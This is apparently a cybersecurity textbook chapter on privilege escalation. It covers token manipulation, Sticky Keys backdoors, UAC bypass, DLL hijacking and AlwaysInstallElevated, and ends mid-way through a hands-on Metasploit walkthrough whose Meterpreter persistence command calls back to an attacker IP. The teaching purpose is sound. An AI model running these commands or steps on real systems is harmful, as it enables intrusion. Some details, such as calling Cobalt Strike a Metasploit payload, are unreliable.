9

Privilege Escalation

The previous chapters have explained the process of performing an attack to a point where the attacker can compromise a system. The previous chapter, Chapter 8, Lateral Movement, discussed how an attacker can move around in the compromised system without being identified or raising any alarms. A general trend was observable, where legitimate tools were being used to avoid alerts. A similar trend may also be observed in this phase of the attack life cycle.

In this chapter, close attention will be paid to how attackers escalate the privileges of the user accounts that they have compromised. The aim of an attacker at this stage is to have the required level of privileges to achieve a greater objective. It could be mass deletion, corruption or theft of data, disabling of computers, destroying hardware, and so many other things. An attacker requires control over access systems so that they can succeed with all of their plans. Mostly, attackers seek to acquire admin-level privileges before they start the actual attack. Many system developers have been employing the least privilege rule, where they assign users the least amount of privileges that are needed to perform their jobs.

Therefore, accounts only have privileges absolutely necessary for their role to prevent abuse. Hackers will normally compromise these low-privileged accounts and thus, have to upgrade them to higher privileges in order to access files or make changes to a system.

This chapter will cover the following topics:

  • Infiltration
  • Avoiding alerts
  • Performing privilege escalation

Infiltration

Privilege escalation normally occurs deep into an attack. This means that the attacker will have already done reconnaissance and successfully compromised a system, thereby gaining entry. After this, the attacker will have traversed the compromised system through lateral movement and identified all the systems and devices of interest.

In this phase, the attacker wants to have a strong grip on the system. The attacker may have compromised a low-level account and will, therefore, be looking for an account with higher privileges in order to study the system further or get ready to accomplish their malicious objectives. Privilege escalation is not a simple phase, as it will at times require the attacker to use a combination of skills and tools in order to heighten the privileges. There are generally two classifications of privilege escalation: horizontal and vertical privilege escalation.

Figure 9.1: Privilege escalation can be done horizontally as well as vertically

Horizontal privilege escalation

In horizontal privilege escalation, the attacker uses a normal account to access the accounts of other users. It is a simple process since the attacker does not actively seek to upgrade the privileges of an account; they are granted to the attacker naturally as a result of accessing other accounts. Therefore, no tools are used to upgrade the accounts in this type of privilege escalation.

There are two main ways through which a horizontal privilege escalation can occur. The first one is through software bugs, whereby a normal user is able to view and access files of other users due to an error in the coding of a system. As can be seen, no tools have been used and yet an attacker is able to access files that should have otherwise been protected from the eyes of normal users.

Another instance is wherein the attacker is lucky enough to compromise an administrator’s account. In this scenario, there will be no need to use hacking tools and techniques to escalate the privileges of the account that the user has hacked. Already adorned with admin-level privileges, attackers can go on with the attack by creating other admin-level users or just using the already hacked account to execute the attack.

Horizontal privilege escalation attacks are normally facilitated by tools and techniques that steal login credentials at the phase where hackers compromise a system. A number of tools were discussed in Chapter 6, Compromising the System, where it was shown that a hacker can recover passwords, steal them from users, or crack directly into accounts. In fortunate scenarios for the hacker, the user accounts compromised will belong to users with high-level privileges. Therefore, they will not have to face any hardships of having to upgrade an account.

Below is an example of a privilege escalation attack conducted via Metasploit:

Figure 9.2: Privilege escalation via a vulnerability, executed with Metasploit

Vertical privilege escalation

The other type of privilege escalation is vertical privilege escalation. It consists of more demanding privilege escalation techniques and includes the use of hacking tools. It is complex, but not impossible, since an attacker is forced to perform admin- or kernel-level operations in order to elevate access rights illegally. Vertical rights escalation is more difficult but it is also more rewarding since the attacker can acquire system rights on a system. A superuser has more rights than an administrator and, therefore, can do more damage. The attacker also has a higher chance of staying and performing actions on a network system whilst remaining undetected.

With superuser access rights, an attacker can perform actions that the administrator cannot stop or interfere with. Vertical escalation techniques differ from system to system. In Windows, a common practice is to cause a buffer overflow to achieve vertical privilege escalation. This has already been witnessed in a tool called EternalBlue, which is alleged to be one of the hacking tools in the utilized by the NSA. The tool has, however, been made public by a hacking group called the Shadow Brokers.

On Linux, vertical escalation is done by allowing attackers to have root privileges that enable them to modify systems and programs. On Mac, vertical escalation is done in a process called jailbreaking, allowing the hackers to perform previously disallowed operations. These are operations that manufacturers restrict users from so as to protect the integrity of their devices and operating systems. Vertical escalation is also done on web-based tools.

This is normally through the exploitation of the code used in the backend. At times, system developers unknowingly leave channels that can be exploited by hackers, especially during the submission of forms.

How privilege escalation works

Regardless of the kind of interaction that happens within a network system, whether it is a local session, an interactive session, or a remote access session, there is some form of representation of privileged access to the account with the system. Every single account needs privileges to access the system. The level of privileges varies from basic privileges to admin-level privileges capable of revoking privileges of the lower accounts or even disabling the lower accounts. Basic or standard users do not have access to privileges that are considered sensitive, such as access to the database, sensitive data, or any assets that are considered valuable. In many cases, network administration involves the use of the least privilege rule. The least privilege rule directs the assignment of privileges to accounts. With this rule, accounts are only assigned privileges that they need to perform their duties. Therefore, the higher up the hierarchy an employee is in an organization, the more privileges they are likely to be assigned in the system.

A threat actor needs admin privileges to perform the kind of malicious actions they need in the system, such as accessing sensitive data and exfiltration of this data from the system. A threat actor can make use of several ways to navigate the system environment to obtain the privileges they need to exploit the system. Some of the methods that can be used to gain privileged access include:

  • Credential exploitation
  • Misconfigurations
  • Vulnerabilities and exploits
  • Social engineering
  • Malware

Credential exploitation

For a user to access resources in a system, they need valid credentials to authenticate the process of gaining access to the system and resources. If the attacker knows the username or figures out the username, they have to hack the password. The threat actors will often target the admin accounts as the means of infiltrating a system. The reason for targeting admin accounts is the privileges that come with this account that can enable the attackers to move laterally without raising suspicions.

Once an attacker gains access to a privileged user account, known as an admin account, they have unlimited access to the account and the powers the account can execute. On detection, network administrators will often reset the system and accounts prompting users, or one specific user, to choose a new password. In some cases, this resetting of passwords will work and the attackers will be locked out of the system. However, in many cases, it does not solve the problem permanently as the source of compromise has not been identified and properly handled.

The source of compromise could be malware or other attack vectors, such as a user’s compromised phone that could allow the attacker to continue to compromise the system and continue their infiltration even after the password change. Therefore, the only way to completely keep intruders out is to ensure that the source of ompromisee has been identified and completely eradicated.

Using compromised credentials is an effective means of carrying out attacks. Accounts that use the credentials have access to the entire system and environment. This makes this criterion easy to use yet extremely effective. The worrying thing about credential exploitation is the ease of compromising accounts and gaining these credentials. Several methods can be used including the use of memory-scraping malware, password reuse attacks, and many others.

Escalating privileges from a basic account to an admin account can be done in a variety of ways. In many cases, attackers gaining credentials for privileged accounts, such as admin or domain administrators, will spell doom for the organization. The risk involved with access to these accounts is huge. It is advisable, therefore, that the user accounts be continually scrutinized for any risks they pose to the organization. For proper privileged access management, the superuser accounts should be prioritized due to them being prime targets for attackers achieving horizontal privilege escalation.

Misconfigurations

Misconfigurations circumvent authentication requirements, which can lead to unauthorized system access if exploited. In other words, misconfigurations are a form of vulnerability in a system that does not need remediation. Instead, they need mitigation. There is a key difference between mitigation and remediation solutions. With remediation, you will need a software or firmware patch to correct an identified vulnerability. Mitigation, however, only involves alterating the existing code; this is able to deflect the risk and stop potential exploitation. The most common of these misconfigurations that may end up being exploited result from poor default setting configuration. Examples of these poor default setting configurations include:

  • Undocumented backdoors built into the environment
  • Blank or default passwords or root accounts are normally created during the initial configuration of the systems
  • Insecure access routes that fail to be locked down after an initial install

Flaws can determine whether a threat actor will gain access to a system or not. If the flaw is severe, it can be exploited by a threat actor to gain privileged access to the system. Misconfigurations and the risks they present have been a major issue that often gets exploited, with the network administrators having the ability to do little about the configurations that are done during the development of network systems. In some cases, they may not be aware of the insecurity of these issues. In the recent past though, there has been a growth in interest and exploitation of this vulnerability. However, increased exploitation of these weaknesses is happening with cloud accounts.

The screenshot below is from Verizon’s Data Breach Investigations Report, which clearly shows how the attack vector has been used more and more over time.

Diagram, line chart  Description automatically generated

Figure 9.3: The top eight attack vectors of Verizon’s Data Breach Investigations Report

Privileged vulnerabilities and exploits

Vulnerabilities in this regard refer to mistakes that are done by coders in the system during system development, system design, or configuration. These eventually make it possible for hackers to carry out their malicious activities in the system. Vulnerabilities can be found in the operating system, web applications, the applications’ infrastructure, and so on. These weaknesses can involve such things as the protocols, communication, and transport between resources in a network, whether wired, Wi-Fi, or tone-based radio frequencies. A system having a vulnerability does not automatically mean that a privileged attack will succeed; it will only succeed when the vulnerability has been exploited.

The exploits are categorized into various groups based on the results and means of exploitation. One of the popular categorizations includes proof-of-concept exploits; some are unreliable and cannot easily be exploited and some can be weaponized. Some exploits can be included in the penetration testing tools while others are used with free open source hacking tools. Some hackers only identify vulnerabilities but do not perform exploitation themselves. Instead, they sell this information on the dark market to hackers who can then perform the exploitation. In some cases, some vulnerabilities are used by nation states exclusively until the information is brought to the public, which can either be done intentionally or unintentionally.

Several factors are used in the determination of the actual risk to an organization involved with certain vulnerabilities. Some of the main factors include the vulnerability, the resources related to the flaw, and the exploit available to potential hackers. All these factors are crucial in the determination of the danger an organization faces from the exploitation of a certain vulnerability. They are crucial to an organization’s determination of a risk score.

Notably, only a few vulnerabilities can help an attacker escalate their privileges vertically. In most cases, the escalation can be done horizontally. However, some vulnerabilities can lead to further exploits that can help in the escalation of privileges vertically. In such a case, an organization should be worried about this privileged attack vector.

The privileges of the application being exploited are also a big factor that helps determine the kind of escalation that is possible and the effectiveness of the attack vector. Some applications in a system are not built or designed to perform some functions. Therefore, even with escalation, they cannot perform certain functions. For instance, in a system, the same vulnerability, such as an OS vulnerability, can pose two different types of risks to a system based on the account that has been compromised. If it is a basic user account and the attacker is only capable of horizontal escalation, then the risk will be minimal. However, if the compromised user account is an admin account, then the risk factor, in this case, is huge and the attacker is capable of more damage to sensitive assets and information in the system. In addition, if the user account is a domain account and can leverage domain administration, the attacker will have access to the entire environment and can perform huge damage to the system.

The cyber security industry has several security standards that help organizations in conveying the risks facing them, the relevance of that risk, and the vulnerability responsible for the risk. They include:

  • Common Vulnerabilities and Exposure (CVE)
  • Open Vulnerability Assessment Language (OVAL)
  • Common Configuration Enumeration (CCE)
  • Common Weakness Enumeration Specification (CWE)
  • The Extensible Configuration Checklist Description Format (XCCDF)
  • Common Vulnerability Scoring System (CVSS)
  • Common Platform Enumeration (CPE)
  • Common Configuration Scoring System (CCSS)

These scoring systems enable security professionals and network administrators to analyze, discuss and prioritize vulnerability risks using standard scoring and terminology. The vulnerabilities in the scoring systems that pose the highest risks can be exploited using escalation privileges that do not require end-user interventions. These vulnerabilities can be weaponized and introduced into the system using such avenues as worms or other malware. Any exploit that can gain access to a system, modify the code in the system, and subsequently proceed without detection, depends on a few factors to succeed. These factors include the vulnerability itself and the privileges that the exploit has when it is executed in the system. Therefore, for secure systems, network administrators need to combine solutions such as patch management, risk assessment, privileged access management, and vulnerability management to ensure that vulnerabilities are managed properly.

Social engineering

Social engineering attacks take advantage of the trust people have placed on such communication forms as text, voice, and emails that are addressed to them. The crafting of the message in these forms of communication determines the success rate of the process. If the message succeeds in its intentions, then the attackers have successfully completed the first step of the attack process.

The social engineering attackers attempt to take advantage of certain human traits such as attackers getting in contact with someone with a higher access level and using social engineering to convince them to give them their account. For more information on social engineering levers, refer to Chapter 5, Reconnaissance. For an in-depth examination of social engineering at large, we recommend the book Learn Social Engineering by Dr. Erdal Ozkaya.

Malware

This is the fifth method that can be used to conduct escalation of privileges by attackers when they target a system. Malware includes such things as viruses, worms, adware, spyware, and ransomware, among others. It refers to all types of malicious software that are specifically built with the intention of infecting or gaining illegal access to a certain system. The intent of developing this software can range from data exfiltration, surveillance, disruption, control, and denial of service to extortion. Malware often acts as a vehicle through which attackers carry out their malicious activities in the target systems. Malware is designed to execute whenever it gains access to a system. It can execute at all levels of accounts, from standard user accounts to admin accounts. Therefore, ordinary users can cause the execution of these malware programs. The admin accounts, usually run by network administrators, are harder to deceive and may be more closely monitored by automated tools. This is the main reason attackers will target ordinary employees to help them find a door into the target system. Some of the weaknesses that a malware exploit uses include:

  • A combination of exploits and vulnerabilities
  • Weaknesses in the organization’s supply chain
  • Legitimate installers
  • Phishing or internet attacks made possible through social engineering techniques

The mode of delivery of malware to the target device is not important. The aim is always to execute the code on the targeted resource.

Avoiding alerts

Just like in the preceding phases of attack, it is in the interests of the hacker to avoid raising any alarms that the victim’s system has been compromised. Detection, especially during privilege escalation, would be costly, as it would mean that all the efforts that an attacker had made will have been for nothing. Therefore, before the attacker performs this phase, it is normal to disable security systems if possible. The methods of privilege escalation are also quite sophisticated. Most of the time, the attacker will have to create files with malicious instructions, rather than use a tool to execute malicious actions against the system.

Timeline  Description automatically generated

Figure 9.4: Windows alerting via Microsoft AntiMalware Scan Interface (AMSI) can be bypassed via Metasploit client site attack

Most systems will be coded to only allow privileges to legitimate services and processes. Therefore, attackers will try to compromise these services and processes in order to be given the benefit of executing with heightened privileges. It is challenging for hackers to use brute force to get admin privileges and, therefore, they often opt to use the path of least resistance. If it means creating files identical to the ones a system recognizes to be legitimate, they will do so.

Another way to avoid alerts is by using legitimate tools to perform the attack. As mentioned in previous chapters, the use of PowerShell as a hacking tool is growing because of its power, and also because many systems will not raise alerts in response to its activity, given that it is a valid, built-in OS tool.

Performing privilege escalation

Privilege escalation can be done in a number of ways, depending on the level of skill that the hacker has and the intended outcome of the privilege escalation process. In Windows, administrator access should be rare and normal users should not have administrative access to systems.

However, sometimes it becomes necessary to give remote users admin access to enable them to troubleshoot and solve some issues. This is something that system administrators should be worried about. When giving remote users admin access, admins should be cautious enough to ensure that this type of access is not used for privilege escalation. There are risks when normal employees in an organization maintain admin access. They open up their network to multiple attack vectors.

To begin with, malicious users can also use this access level to extract password hashes that can, later on, be used to recover the actual passwords or be used directly in remote attacks through pass-the-hash. This has already been exhaustively discussed in Chapter 8, Lateral Movement. Another threat is that they can use their systems for packet capturing. They can also install software that might turn out to be malicious. Lastly, they can interfere with the registry. Therefore, it is assumed that it is bad for users to be given admin access.

Since admin access is a closely guarded privilege, attackers will mostly have to fight their way into getting the access using a number of tools and techniques. Apple computers have a somewhat more reliable operating system when it comes to security. However, there are a number of ways that attackers have discovered that can be used to perform privilege escalation in OS X.

Figure 9.6 illustrates how Red Teams work; first they select their targets and the team collects as much information as possible about the target. Once they know the details, the Red Team will select the method of the attack and the technique to use. As this is a Red Team activity there will be no takedown operation, but once the method works they will report the issue to get it fixed.

Figure 9.5: Privilege Escalation Chart for Red Teams

During a Red Teaming or Pen Test activity, privilege escalation can be done also to verify the organization’s vulnerabilities. In those kinds of simulations, privilege escalation will be done in three phases.

In the first phase of the approach, general information about the target will be gathered (for example, if it’s a Black Box activity, in Red Teaming with an existing team, new information can be searched to be successful).

The next phase concludes with an iterative approach, where different exploitations will be tried, and depending on the success or failure, new attack vectors will be tried to be successful.

As the goal is to escalate to the highest privileges possible, in case the vertical privilege escalation attacks are not successful, horizontal privilege escalation attacks can be conducted to find new attack vectors. If a horizontal privilege escalation will be successful, the approach should be started from scratch to verify security from every angle.

The last phase will be the reporting, which will give details to the mitigation team to close the “gaps” before hackers find them. As Red Team members, taking notes in every phase is crucial. A list containing all possible attack vectors will allow the mitigation team to keep a good overview.

Figure 9.6: A screenshot of a Windows PC in which the privilege is escalated to NT AUTHORITY system via an accessibility vulnerability, which we will cover later in this chapter

Let’s go through some commonly used privilege escalation methods.

Exploiting unpatched operating systems

Windows, like many operating systems, keeps tabs on ways through which hackers can compromise it. It keeps on releasing patches to fix those avenues. However, some network administrators fail to install these patches in time. Some administrators forgo patching altogether. Therefore, it is very likely that an attacker will find machines that are unpatched. Hackers use scanning tools to find out information about the devices in a network and to identify the ones that are not patched.

The tools that can be used for this have been discussed in Chapter 5, Reconnaissance; two of the most commonly used are Nessus and Nmap. After identifying the unpatched machines, hackers can search for exploits from Kali Linux that can be used to exploit them. SearchSploit will contain the corresponding exploits that can be used against unpatched computers. Once the exploits are found, the attacker will compromise the system. The attacker will then use a tool called PowerUp to bypass Windows privilege management and upgrade the user on the vulnerable machine to an admin.

If the attacker wants to avoid using scanning tools to verify the current system state, including patches, it is possible to use a WMI command-line tool called wmic to retrieve the list of updates installed, as shown in Figure 9.8:

Figure 9.7: The wmic qfe command can be used to get the updates installed

Another option is to use the PowerShell command get-hotfix:

Figure 9.8: Get-Hotfix in PowerShell

Access token manipulation

In Windows, all processes are started by a certain user and the system knows the rights and privileges that the user has. Windows normally makes use of access tokens to determine the owners of all running processes. This technique of privilege escalation is used to make processes appear as if they were started by a different user than the one that actually started them. The way that Windows manages admin privileges is exploited. The operating system logs in admin users as normal users, but then executes their processes with admin privileges. Windows uses the run as administrator command to execute processes with the privileges of an administrator. Therefore, if an attacker can fool the system into believing that processes are being started by an admin, the processes will run without interference with full-level admin privileges.

Access token manipulation occurs when attackers cleverly copy access tokens from existing processes using built-in Windows API functions. They specifically target the processes that are started by admin users in a machine. When they paste an admin’s access tokens to Windows, as it starts a new process, it will execute the processes with admin privileges.

Access token manipulation can also occur when hackers know an admin’s credentials. These can be stolen in different types of attacks and then used for access token manipulation. Windows has the option of running an application as an administrator. To do this, Windows will request for a user to enter admin login credentials, so as to start a program/process with admin privileges.

Lastly, access token manipulation can also occur when an attacker uses stolen tokens to authenticate remote system processes, provided that the tokens stolen have the appropriate permissions on the remote system.

Access token manipulation is highly used in Metasploit, a hacking and penetration testing tool that was discussed in Chapter 6, Compromising the System. Metasploit has a Meterpreter payload that can perform token stealing and use the stolen tokens to run processes with escalated privileges. Metasploit also has a payload called Cobalt Strike, which also takes advantage of token stealing. The payload is able to steal and create its own tokens that have admin privileges. The bottom line in this type of privilege escalation method is that there is an observable trend where attackers take advantage of an otherwise legitimate system. It could be said to be a form of defense evasion on the side of an attacker.

Figure 9.10 displays a step that is used during a privilege escalation attack via token manipulation. The Invoke-TokenManipulation script can be downloaded from GitHub, ProcessId 540 is the Command Tool (cmd.exe), and it’s used via PS Exec to launch remotely:

Figure 9.9: Launching the attack remotely

Exploiting accessibility features

Windows has several accessibility features that are supposed to help users to interact better with the OS, and more attention is given to users that may have visual impairments. These features include the magnifier, screen keyboard, display switch, and narrator. These features are conveniently placed on the Windows login screen so that they can be supportive to the user from the instant that they log in. However, attackers can manipulate these features to create a backdoor through which they can log into the system without authentication.

It is quite an easy process and can be executed in a matter of minutes. An attacker will be required to have compromised a Windows computer using a Linux LiveCD. This tool will allow the attacker to boot the computer with a temporary Linux Desktop OS. Once in the machine, the drive containing the Windows OS will be visible and editable. All these accessibility features are stored as executables in the System32 folder. Therefore, a hacker will go and delete one or more of these and replace them with a command prompt or a backdoor.

Once the replacement is done and the hacker has logged out, all will seem normal when the Windows OS is started. However, an attacker will have a walk-around to bypass the login prompt. When the OS displays the password prompt, the attacker can simply click on any of the accessibility features and launch the command prompt.

The command prompt that will display will be executing with system access, which is the highest level of privilege for a Windows machine. The attacker can use the command prompt to achieve other tasks. It can open browsers, install programs, create new users with privileges, and even install backdoors.

An even more unique thing that an attacker can do is to launch Windows Explorer by supplying the command explorer.exe into the command prompt. Windows Explorer will open on the computer that the attacker has not even logged into and it will open as a system user.

This means that the attacker has exclusive rights to do whatever they please on the machine, without being requested to log in as an administrator. This method of privilege escalation is very effective, but it requires the attacker to have physical access to the target computer. Therefore, it is mostly done by insider threats or malicious actors that enter an organization’s premises through social engineering.

Figure 9.11 displays how a command prompt can be used to change Sticky Keys with malware, via simply modifying the registry key. Sticky Keys is usually stored in: C:WindowsSystem32sethc.exe.

Figure 9.10: Sticky Keys replaced with a malware

Figure 9.11: Escalation of the privilege in a Windows Server

Application shimming

Application shimming is a Windows Application Compatibility framework that Windows created to allow programs to run on versions of the OS that they were not initially created to run on. Most applications that used to run on Windows XP can run on Windows 10 today due to this framework.

The operation of the framework is quite simple: it creates a shim to buffer between a legacy program and the operating system. During the execution of programs, the shim cache is referenced to find out whether they will need to use the shim database. If so, the shim database will use an API to ensure that the program’s codes are redirected effectively so as to communicate with the OS. Since shims are in direct communication with the OS, Windows decided to add a safety feature where they are designed to run in user mode.

Without admin privileges, the shims cannot modify the kernel. However, attackers have been able to create custom shims that can bypass user account control, inject DLLs into running processes, and meddle with memory addresses. These shims can enable an attacker to run their own malicious programs with elevated privileges. They can also be used to turn off security software, especially Windows Defender.

The following diagram illustrates the use of a custom shim against a new version of the Windows OS:

Figure 9.12: Use of a custom shim against a new version of Windows OS

It is good to look at an example of how a shim is created. First, you need to start the Compatibility Administrator from the Microsoft Application Compatibility Toolkit.

The following figure shows Microsoft’s Application Compatibility Toolkit:

Figure 9.13: Microsoft’s Application Compatibility Toolkit in action

Next, you have to create a new database in Custom Databases by right-clicking on the New Database option and selecting to create a new application fix.

The following figure shows the process of creating a new application fix:

Figure 9.14: Creating a new application fix

The next step is to give details of the particular program you want to create a shim for:

Figure 9.15: Details to be filled in the Create new Application Fix window

Next, you have to select the version of Windows that the shim is being created for. After selecting the Windows version, a number of compatibility fixes will be shown for the particular program. You are at liberty to choose the fixes that you want:

Figure 9.16: Choosing your fixes

After clicking on Next, all the fixes you’ve chosen will be shown and you can click on Finish to end the process. The shim will be stored in the new database. To apply it, you need to right-click on the new database and click on install:

Figure 9.17: Ready to use

Once this is done, the program will be run with all the compatibility fixes you’ve selected in your shim.

Bypassing user account control

Windows has a well-structured mechanism for controlling the privileges of all users in a network and on the local machine. It has a Windows User Account Control (UAC) feature that acts as a gate between normal users and admin-level users. The Windows UAC feature is used to give permissions to the program, to elevate their privileges, and to run with admin-level privileges. Therefore, Windows always prompts users to permit programs that want to execute with this level of access. It is also notable that only admin users can allow programs to run with these privileges.

Therefore, a normal user will be denied permission to allow a program to execute a program with admin privileges.

This looks like a failure-proof mechanism, whereby only administrators can allow programs to run with heightened privileges since they can easily tell the malicious programs from the genuine ones. However, there are some gaps in this mechanism of securing the system.

Some Windows programs are allowed to elevate privileges or execute COM objects that are elevated without prompting a user first.

For instance, rundl32.exe is used to load a custom DLL that loads a COM object that has elevated privileges. This performs file operations even in protected directories that would normally require a user to have elevated access. This opens the UAC mechanism to compromise from knowledgeable attackers. The same processes used to allow Windows programs to run unauthenticated can allow malicious software to run with admin access in the same way. Attackers can inject a malicious process into a trusted process and thereby gain the advantage of running the malicious processes with admin privileges without having to prompt a user.

The screenshot below is from Kali. It displays how Metasploit can use an exploit to bypass the inbuilt UAC:

Figure 9.18: Metasploit has inbuilt modules to bypass UAC

Black hats have discovered other ways to bypass UAC. There have been many methods published on GitHub that can potentially be used against UAC. One of these is eventvwr.exe, which can be compromised since it is normally auto-elevated when it runs and can, therefore, be injected with specific binary codes or scripts. Another approach to defeating the UAC is simply through the theft of admin credentials. The UAC mechanism is said to be a single security system and, therefore, the privileges of a process running on one computer remain unknown to lateral systems. Therefore, it is hard to nab attackers misusing the admin credentials to start processes with high-level privileges.

Figure 9.20 displays how the POC exploit can be used to bypass the UAC prompt in Windows 7. You can download the script from the GitHub repository.

Figure 9.19: UAC script in action

To bypass UAC in Windows 7, you can also use the UACscript, which you can download from https://github.com/Vozzie/uacscript.

Privilege escalation and Container Escape Vulnerability (CVE-2022-0492)

This is a vulnerability that was found on the Linux kernel’s cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function, which causes software supply chain attacks. This flow can allow an attacker to take control of an organization’s software build process to disrupt internal operations or embed attacker-controlled code or backdoors in software that puts downstream customers at risk.

A Container is an approach to operating system virtualization in a cloud computing environment. This allows users to work with a program and its dependencies using resource procedures that are isolated. The code of the application can be bundled with configurations and dependencies in a systematic manner.

Container escape is potentially a fundamental problem for Kubernetes platforms where physical compute nodes are shared between many unrelated containers. If exploited, malicious software may take control over the node, obtain sensitive data from other containers on this node, and even access network APIs assuming the identities of the other containers.

The only way to mitigate this vulnerability is patching: https://nvd.nist.gov/vuln/detail/CVE-2022-0492.

DLL injection

DLL injection is another privilege escalation method that attackers are using. It also involves the compromising of legitimate processes and services of the Windows operating system. DLL injection is used to run malicious code using the context of a legitimate process. By using the context of a process recognized to be legitimate, an attacker gains several advantages, especially the ability to access the process’s memory and permissions.

The attacker’s actions are also masked by legitimate processes. There has recently been a discovery of a rather sophisticated DLL injection technique called reflective DLL injection. It is more effective since it loads the malicious code without having to make the usual Windows API calls and, therefore, bypasses DLL load monitoring. It uses a clever process of loading a malicious library from the memory onto a running process. Instead of following the normal DLL injection process of loading a malicious DLL code from a path, a process that not only creates an external dependency and degrades the stealth of an attack, a reflective DLL injection sources its malicious code in the form of raw data. It is more difficult to detect, even on machines that are adequately protected by security software.

DLL injection attacks have been used by attackers to modify the Windows Registry, create threads, and do DLL loading. These are all actions that require admin privileges, but attackers sneak their way into doing them without such privileges.

The following diagram is a short illustration of how DLL injections work:

Diagram  Description automatically generated

Figure 9.20: How DLL injections work to impact legitimate processes

It is important to keep in mind that DLL injection is not only used for privilege escalation. Here are some examples of malware that use the DLL injection technique to either compromise a system or propagate to others:

  • Backdoor.Oldrea: Injects itself in the explore.exe process
  • BlackEnergy: Injects as a DLL into the svchost.exe process
  • Duqu: Injects itself in many processes to avoid detection

DLL search order hijacking

DLL search order hijacking is another technique used to compromise DLLs and allow attackers to escalate their privileges so as to progress with an attack. In this technique, attackers try to replace legitimate DLLs with malicious ones. Since the locations where programs store their DLLs can easily be identified, attackers may place malicious DLLs high up in the path traversed to find the legitimate DLL. Therefore, when Windows searches for a certain DLL in its normal location, it will find a DLL file with the same name but it will not be the legitimate DLL.

Often, this type of attack occurs to programs that store DLLs in remote locations, such as in web shares. The DLLs are therefore more exposed to attackers and they no longer need to physically get to a computer to compromise files on hard drives.

Another approach to DLL search order hijacking is the modification of the ways in which programs load DLLs. Here, attackers modify the manifest or the local direction files to cause a program to load a different DLL than the intended one. The attackers may redirect the program to always load the malicious DLL and this will lead to a persistent privilege escalation.

The attackers can also change the path to the legitimate DLLs back when the compromised program behaves abnormally. The targeted programs are the ones that execute with a high level of privileges. When done to the right program, the attacker could essentially escalate privileges to become a system user and, therefore, have access to more things.

DLL hijacking is complex and it requires lots of caution to prevent abnormal behavior by the victim program. In an unfortunate, or fortunate, event where a user realizes that an application is behaving erratically, they can simply uninstall it. This will consequently thwart a DLL hijacking attack.

The diagram below shows an illustration of search order hijacking where an attacker has placed a malicious DLL file on the search path of a legitimate DLL file:

Diagram  Description automatically generated

Figure 9.21: An illustration of search order hijacking

Dylib hijacking

Dylib hijacking is a method that is used against Apple computers. Computers that have Apple’s OS X use a similar search method for finding dynamic libraries that should be loaded into programs. The search method is also based on paths and, as was seen in DLL hijacking, attackers can take advantage of these paths for privilege escalation purposes.

Attackers conduct research to find out the dylibs that specific applications use and they then place a malicious version with a similar name high up in the search path. Therefore, when the operating system is searching for an application’s dylib, it finds the malicious one first. If the targeted program runs with higher-level privileges than the user of the computer has, when it is started it will auto-elevate the privileges. In this instance, it will have also created admin-level access to the malicious dylib.

The following diagram illustrates the process of dylib hijacking where attackers place a malicious dylib on the search path:

Diagram  Description automatically generated

Figure 9.22: An illustration of dylib hijacking where attackers place a malicious dylib on the search path

Exploration of vulnerabilities

The exploration of vulnerabilities is one of the few horizontal privilege escalations that gets used today. Due to the strictness in the coding and securing of systems, there tend to be fewer cases of horizontal privilege escalation. This type of privilege escalation is done on systems and programs that have programming errors. These programming errors may introduce vulnerabilities that attackers can exploit to bypass security mechanisms.

Some systems will accept certain phrases as passwords for all users. This could possibly be a programming error to allow system developers to quickly access systems. However, attackers may quickly discover this flaw and use it to access user accounts that have high privileges. Other errors in coding may allow attackers to change the access levels of users in the URL of a web-based system. In Windows, there was a programming error that allowed attackers to create their own Kerberos tickets with domain admin rights using regular domain user permissions. This vulnerability is called MS14-068. Even though system developers may be extremely careful, these errors show up at times and they provide attackers an avenue to quickly escalate privileges.

Sometimes, an attacker will take advantage of how the operating system works to exploit an unknown vulnerability.

Figure 9.23: Exploits created by threat actors can be delivered in many different ways. Threat actors can also attack directly vulnerable servers that they find

A classic example of that is the use of the registry key AlwaysInstallElevated, which is present in the system (set to 1) and will allow the installation of a Windows Installer package with elevated (system) privileges. For this key to be considered enabled, the following values should be set to 1:

[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] "AlwaysInstallElevated"=dword:00000001 [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] "AlwaysInstallElevated"=dword:00000001

The attacker can use the reg query command to verify if this key is present; if it is not, the following message will appear:

Figure 9.24: Verify if the key is present

This might sound harmless, but if you think deeply, you will notice the problem. You are basically giving system-level privileges to a regular user to execute an installer. What if this installer package has malicious content? Game over!

Launch daemon

Using a launch daemon is another privilege escalation method applicable to Apple-based operating systems, especially OS X. When OS X boots up, launchd is normally run to end system initialization. The process is responsible for loading the parameters for the daemons from the plist files found in /Library/LaunchDaemons. The daemons have property list files that point to the executables to be auto-started. Attackers may take advantage of this auto-start process to perform privilege escalation. They may install their own launch daemons and configure them to start during the bootup process using the launched process. The attackers’ daemons may be given disguised names from a related OS or application.

Launch daemons are created with admin privileges but they execute with root privileges. Therefore, if the attackers are successful, they will have their daemons auto-started and their privileges escalated from admin to root. It can be noted that again, attackers are relying on an otherwise legitimate process in order to perform privilege escalation.

Figure 9.25: A malicious launch daemon attack blocked by a tool (BlockBlock)

Hands-on example of privilege escalation on a Windows target

This hands-on illustration works on Windows 8 and has also been reported to be effective in Windows 10. It makes use of some techniques that have been discussed, that is, PowerShell and Meterpreter. It is a cunning technique that drives the user of the target machine to unknowingly allow a legitimate program to run, which in turn performs privilege escalation. Therefore, it is the user that unknowingly allows malicious actors to escalate their privileges. The process starts within Metasploit and particularly on Meterpreter.

Meterpreter is first used to establish a session with a target. This session is what the attackers use to send commands to the target and effectively control it.

The following is a script called persistence that an attacker can use to start a session with a remote target. The script creates a persistent listener on the victim’s system that runs upon boot.

It is written as follows:

meterpreter >run persistence -A -L c: -X 30 -p 443 -r 10.108.210.25

This command starts a handler on the target (A), places Meterpreter at the C drive of the victim machine (L c:), and instructs the listener to start on boot (X), make a checks in intervals of 30 seconds (i 30), and to connect to port 443 of the victim’s IP address. A hacker may check whether the connection was simple by sending a reboot command to the target machine and observing its behavior.

The reboot command is as follows:

Meterpreter> reboot

If satisfied with the connection, the attacker may background the session and begin the privilege escalation attempt. Meterpreter will run the session in the background and allow Metasploit to carry out other exploits.

The following command is issued in the Metasploit terminal:

Msf exploit (handler)> Use exploit/windows/local/ask

